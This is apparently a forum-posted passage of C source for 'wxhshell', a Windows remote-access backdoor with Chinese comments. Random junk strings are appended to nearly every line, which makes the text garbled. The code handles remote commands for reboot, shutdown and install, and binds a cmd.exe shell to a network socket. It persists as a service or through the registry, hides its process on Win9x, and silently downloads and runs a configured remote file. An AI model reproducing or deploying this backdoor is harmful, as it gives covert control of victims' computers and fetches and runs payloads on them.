hU)f(L  
    switch(cmd[0]) { sou$qKoG01  
  IbNTdg]/F`  
  // 帮助 b~jvmcr  
  case '?': { \t~u : D  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); w[$Wpae  
    break; ]mGsNQ ].H  
  } r~B Qy'  
  // 安装 h"Yqm"U/  
  case 'i': { |@n{tog+-  
    if(Install()) qytGs@p_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DF&jZ[##  
    else rF j)5~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); < c4RmnA  
    break; U"R.!=v  
    } E0?\DvA  
  // 卸载 MZ+IorZl  
  case 'r': { )9W# 5V$  
    if(Uninstall()) A#07Ly8kXn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (NWN&  
    else J?=Ob?+ _  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jKi*3-&  
    break; i:Ct6[  
    } 8GAQVe^$-  
  // 显示 wxhshell 所在路径 $Q7E#  
  case 'p': { y&I|m  
    char svExeFile[MAX_PATH]; g!|E!\p  
    strcpy(svExeFile,"\n\r"); fkUH]CdaB  
      strcat(svExeFile,ExeFile); ]j#$.$q  
        send(wsh,svExeFile,strlen(svExeFile),0); })u}PQ  
    break; eR 2T<7G  
    } "aO,  
  // 重启  $.]t1e7s  
  case 'b': { hO@v\@;r  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); T_B.p*\BM  
    if(Boot(REBOOT)) z=h5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4uVmhjT:X  
    else { 6V?&hq&t  
    closesocket(wsh); )mO;l/,0  
    ExitThread(0); $5AtI$TV_!  
    } }8]uZ)[p=  
    break; J?ZVzKTb>}  
    } h sw My  
  // 关机 >-o:> 5  
  case 'd': { `1v!sSR0R  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {3uSg)  
    if(Boot(SHUTDOWN)) X@4d~6k?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fQA)r  
    else { qJzK8eW  
    closesocket(wsh); >2{HH\  
    ExitThread(0); RV*Zi\-X  
    } nMvIL2:3  
    break; z4+6k-#):  
    } 67:<X(u+!  
  // 获取shell %((3'le  
  case 's': { %~VIxY|d  
    CmdShell(wsh); {:8[Mdf  
    closesocket(wsh); pXlBKJmW  
    ExitThread(0); 3E@&wpj  
    break; rBPxGBd4  
  } k GeME   
  // 退出 Donf9]&U  
  case 'x': { ojqX#>0K  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); E1v<-UPbA  
    CloseIt(wsh); ;-Dd\\)p  
    break; E4ee_`p  
    } zate%y  
  // 离开 &t:MWb;  
  case 'q': { k<hO9;#qpL  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `IQC\DSl/  
    closesocket(wsh); GV[BpH  
    WSACleanup(); 8~+Msn:  
    exit(1); *4VP5]!  
    break; = gyK*F(RK  
        } LKY Q?  
  } ne*aC_)bT  
  } *Yjs$'_2  
bxHk0w  
  // 提示信息 P#1y  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \$UU/\  
} tqf-,BLh  
  } Tj+WO6#V  
7U0):11X#  
  return; =S +:qk  
} 0zNS;wvv&  
x;aZ&  
// shell模块句柄 &!MKqJ@t  
int CmdShell(SOCKET sock) 39e oL;O_  
{ qT%E[qDS  
STARTUPINFO si; H9[.#+ln  
ZeroMemory(&si,sizeof(si)); Nh-* Gt?  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5toNEDN  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :9qB{rLi}  
PROCESS_INFORMATION ProcessInfo; x B[# a*  
char cmdline[]="cmd"; gI{F"7fa=  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *E6 p=  
  return 0; h UDEjW@S  
} 2 ARh-zLb  
/n=/WGl  
// 自身启动模式 ^PszZ10T  
int StartFromService(void) @) wXP@7  
{ A;PV,2|X  
typedef struct pqX=l%{4ES  
{ CeemR>\t  
  DWORD ExitStatus; ^2tCDm5  
  DWORD PebBaseAddress; =p:6u_@XWj  
  DWORD AffinityMask; ;kA2"c]m  
  DWORD BasePriority; 2x CGr>X  
  ULONG UniqueProcessId; i ib-\j4d  
  ULONG InheritedFromUniqueProcessId; g5`YUr+3?h  
}   PROCESS_BASIC_INFORMATION; 0' t)fnI#  
vzPrG%Uu7g  
PROCNTQSIP NtQueryInformationProcess; \!Pm^FD .  
nAOId90wue  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; nMqU6X>P!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~C3-E %h@Z  
EY(4 <;)  
  HANDLE             hProcess; >EG;2]M&  
  PROCESS_BASIC_INFORMATION pbi; n"vI>_|G  
s RB8 jY  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4`B:Mq&j  
  if(NULL == hInst ) return 0; n$9!G  
HH+XEMP/g  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); f.WtD`Oas  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); M_DkjuR  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (;0]V+-  
qm_\#r  
  if (!NtQueryInformationProcess) return 0; 5sRNqTIr  
|RdSrVB  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); mJHX  
  if(!hProcess) return 0; =Vfj#WL  
H.e@w3+h  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $U1'n@/J  
-\vq-n  
  CloseHandle(hProcess); X^`ld&^*({  
wlJ_, wA  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); mvnK)R_  
if(hProcess==NULL) return 0; JT<J[Qz5  
n!2|;|$}Z  
HMODULE hMod; snrfHDhUw  
char procName[255]; f/xBR"'  
unsigned long cbNeeded; H}X"yLog*  
ZWv$K0agu  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); lsd\ `X5,  
3)sqAs(  
  CloseHandle(hProcess); FM5$83Q  
Sq,x@  
if(strstr(procName,"services")) return 1; // 以服务启动 1*5n}cU~  
q\\J9`Q$J  
  return 0; // 注册表启动 R_csKj  
} '5IJ;4k  
& b%6pVj  
// 主模块 Mg].#  
int StartWxhshell(LPSTR lpCmdLine) h6#  
{ t{ 'QMX  
  SOCKET wsl; !zeBxR$&o  
BOOL val=TRUE; @-wAR=k7  
  int port=0; CBc}N(9  
  struct sockaddr_in door; }w$/x<Q[  
W`KkuQ4cM  
  if(wscfg.ws_autoins) Install(); drH!?0Dpg  
Z`[j;=[  
port=atoi(lpCmdLine); kG E|17I  
@{j-B IRZ0  
if(port<=0) port=wscfg.ws_port; aw~OvnX E  
$iV3>>;eh  
  WSADATA data; ;9rQN3J$gn  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2- )Ml*  
7+0hIKrFC  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   PUI.Un2C_  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); R1U\/  
  door.sin_family = AF_INET; R,(^fM  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); "l!"gc87  
  door.sin_port = htons(port); ~{HA!C#  
6rk/74gI,a  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { v<O\ l~S  
closesocket(wsl); ym:JtI69   
return 1; y jb.6  
} PRs[:we~~  
] O 2_&cs  
  if(listen(wsl,2) == INVALID_SOCKET) { 8F%T Z M  
closesocket(wsl); 8s|r'  
return 1; ]UMwpL&rY  
} yfV{2[8ux  
  Wxhshell(wsl); 3p7*UVR"  
  WSACleanup(); OuX/BMG  
0DN:{dJz  
return 0; /wmJMX  
W2REwUps  
} iud%X51  
z%b3/rx  
// 以NT服务方式启动 KExfa4W 3{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,2u]rLxx;  
{ p/@z4TCNX  
DWORD   status = 0; ]t<%v_K  
  DWORD   specificError = 0xfffffff; DD;PmIW  
lVMAab  
  serviceStatus.dwServiceType     = SERVICE_WIN32; MEg|AhP  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; AX6e}-S1n  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; kQ|}"Tw7  
  serviceStatus.dwWin32ExitCode     = 0; =\`9\Gd  
  serviceStatus.dwServiceSpecificExitCode = 0; )U8F6GIC&}  
  serviceStatus.dwCheckPoint       = 0; MECR0S9  
  serviceStatus.dwWaitHint       = 0; Yzd-1Jvk  
zm"&8/l  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); N#|c2n+  
  if (hServiceStatusHandle==0) return; %R(j|a9z  
>GqIpfn  
status = GetLastError(); <OpiD%Ctx  
  if (status!=NO_ERROR) hd+JKh!u  
{ k~Gjfo  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; OS,-dG(  
    serviceStatus.dwCheckPoint       = 0; \,~gA   
    serviceStatus.dwWaitHint       = 0; _QCAV+K'  
    serviceStatus.dwWin32ExitCode     = status; 1w?X~VZAX  
    serviceStatus.dwServiceSpecificExitCode = specificError; |`#[jHd  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); K{HdqmxL.I  
    return; a]75z)X R  
  } Y ||!V  
}eBy p  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; jt?R a1Z  
  serviceStatus.dwCheckPoint       = 0; A9F Z`  
  serviceStatus.dwWaitHint       = 0; {?,:M  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~d28"p.7  
} z.#gpTXD  
,v(G2`Z  
// 处理NT服务事件,比如:启动、停止 obUh+9K  
VOID WINAPI NTServiceHandler(DWORD fdwControl) gn7pIoN  
{ =yk#z84<  
switch(fdwControl)  RtK/bUa  
{ N\mV+f3A@,  
case SERVICE_CONTROL_STOP: q18dSu  
  serviceStatus.dwWin32ExitCode = 0; JWM/np6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; O`H[,+vm[  
  serviceStatus.dwCheckPoint   = 0; %J3#4gG^v  
  serviceStatus.dwWaitHint     = 0; nbhx2@Teqe  
  { Dr<%Lr  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E/Y.f  
  } _/7[=e}y  
  return; *9*6n\~aI  
case SERVICE_CONTROL_PAUSE: -H{c@hl  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 2x'JR yef  
  break; ptYQP^6S[  
case SERVICE_CONTROL_CONTINUE: L2AZ0E"ub  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ^h=;]vxO  
  break; >L)Xyq  
case SERVICE_CONTROL_INTERROGATE: H<dm;cU  
  break; Ci=c"JdB  
}; [JsQ/|=z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =OTwP  
} e$ E=n  
SC"=M^E  
// 标准应用程序主函数 mLKwk6I  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) H|==i2V{  
{ H?M8j] R-)  
v&p\ r'w  
// 获取操作系统版本 Aln\:1MU  
OsIsNt=GetOsVer(); d(42ob.Tr  
GetModuleFileName(NULL,ExeFile,MAX_PATH); TC" mP!1  
LR'F/.Dx  
  // 从命令行安装 7teg*M{  
  if(strpbrk(lpCmdLine,"iI")) Install(); ?zKDPBj  
: !J!l u  
  // 下载执行文件 <c^m |v  
if(wscfg.ws_downexe) { L)4TW6IUk  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) o=4d2V%m  
  WinExec(wscfg.ws_filenam,SW_HIDE); &nTB^MF  
} (H0nO7Bk  
WZ;f3 "  
if(!OsIsNt) { EivZI<<a  
// 如果时win9x,隐藏进程并且设置为注册表启动 {>>f5o 3  
HideProc(); 5k<qJ9  
StartWxhshell(lpCmdLine); ^~8l|d_  
} @R(6w{h9  
else \} P}H  
  if(StartFromService()) sf@g $  
  // 以服务方式启动 IgQW 5E#  
  StartServiceCtrlDispatcher(DispatchTable); [gQ*y~N  
else NA!;#!  
  // 普通方式启动 2U)H2 %  
  StartWxhshell(lpCmdLine); teQ%t~PJ-&  
qGr(MDLc  
return 0; n"-cX)  
}
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只看该作者 1 发表于: 2006-10-10
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